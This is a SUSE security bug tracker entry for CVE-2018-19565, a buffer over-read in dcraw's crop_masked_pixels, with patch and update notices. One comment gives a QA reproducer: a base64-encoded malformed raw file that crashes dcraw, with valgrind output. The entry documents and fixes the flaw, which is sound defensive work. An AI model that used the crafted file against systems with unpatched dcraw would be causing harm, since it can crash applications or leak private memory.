Bug 1117622 (CVE-2018-19565) - VUL-1: CVE-2018-19565: dcraw: A buffer over-read in crop_masked_pixels could be used by attackers able to supply malicious files to crash an application that bundles the code or leak private information.
Summary: VUL-1: CVE-2018-19565: dcraw: A buffer over-read in crop_masked_pixels could ...
Status: RESOLVED FIXED
Alias: CVE-2018-19565
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents (show other bugs)
Version: unspecified
Hardware: Other Other
: P4 - Low : Minor
Target Milestone: ---
Assignee: Security Team bot
QA Contact: Security Team bot
URL: https://smash.suse.de/issue/219699/
Whiteboard: CVSSv3:SUSE:CVE-2018-19565:3.3:(AV:L/...
Keywords:
Depends on:
Blocks:
 
Reported: 2018-11-28 10:05 UTC by Robert Frohl
Modified: 2024-05-06 11:57 UTC (History)
2 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Robert Frohl 2018-11-28 10:05:01 UTC
CVE-2018-19565

A buffer over-read in crop_masked_pixels in dcraw through 9.28 could be used by
attackers able to supply malicious files to crash an application that bundles
the dcraw code or leak private information.

References:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-19565
http://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-19565.html
http://www.cvedetails.com/cve/CVE-2018-19565/
https://seclists.org/oss-sec/2018/q4/171
https://seclists.org/oss-sec/2018/q4/165
Comment 1 Robert Frohl 2018-11-28 10:07:30 UTC
QA reproducer

$ echo -n 'TU0wMIEwMDAAMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMIX/MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMLTCMDAwMDAwAAAAMDAwMDAwMDAwMDAwMMaN' | base64 -d > crop_masked_pixels.raw

$ dcraw crop_masked_pixels.raw 
crop_masked_pixels.raw: Unexpected end of file
Segmentation fault (core dumped)

using valgrind (which is extremely slow because a lot of memory is allocated):
==1108==    at 0x111A80: fcol (dcraw.c:229)
==1108==    by 0x121E7B: crop_masked_pixels (dcraw.c:3766)
==1108==    by 0x10F55F: main (dcraw.c:10161)
==1108==  
==1108== HEAP SUMMARY:
==1108==     in use at exit: 1,521,942,216 bytes in 3 blocks
==1108==   total heap usage: 7 allocs, 4 frees, 1,521,946,436 bytes allocated
Comment 2 Robert Frohl 2018-11-28 14:45:58 UTC
Using the reproducer I believe that these codestreams are affected:
- SUSE:SLE-15:Update/dcraw
- SUSE:SLE-12:Update/dcraw

not affected:
- SUSE:SLE-11:Update/dcraw
Comment 4 Swamp Workflow Management 2022-04-20 10:29:46 UTC
SUSE-SU-2022:1277-1: An update that fixes 11 vulnerabilities is now available.

Category: security (moderate)
Bug References: 1056170,1063798,1084690,1097973,1097974,1117436,1117512,1117517,1117622,1117896,1189642
CVE References: CVE-2017-13735,CVE-2017-14608,CVE-2018-19565,CVE-2018-19566,CVE-2018-19567,CVE-2018-19568,CVE-2018-19655,CVE-2018-5801,CVE-2018-5805,CVE-2018-5806,CVE-2021-3624
JIRA References: 
Sources used:
openSUSE Leap 15.4 (src):    dcraw-9.28.0-150000.3.3.1
openSUSE Leap 15.3 (src):    dcraw-9.28.0-150000.3.3.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
Comment 5 Swamp Workflow Management 2022-05-19 19:23:05 UTC
SUSE-SU-2022:1749-1: An update that fixes 11 vulnerabilities is now available.

Category: security (moderate)
Bug References: 1056170,1063798,1084690,1097973,1097974,1117436,1117512,1117517,1117622,1117896,1189642
CVE References: CVE-2017-13735,CVE-2017-14608,CVE-2018-19565,CVE-2018-19566,CVE-2018-19567,CVE-2018-19568,CVE-2018-19655,CVE-2018-5801,CVE-2018-5805,CVE-2018-5806,CVE-2021-3624
JIRA References: 
Sources used:
SUSE Linux Enterprise Workstation Extension 12-SP5 (src):    dcraw-9.28.0-3.3.1
SUSE Linux Enterprise Software Development Kit 12-SP5 (src):    dcraw-9.28.0-3.3.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.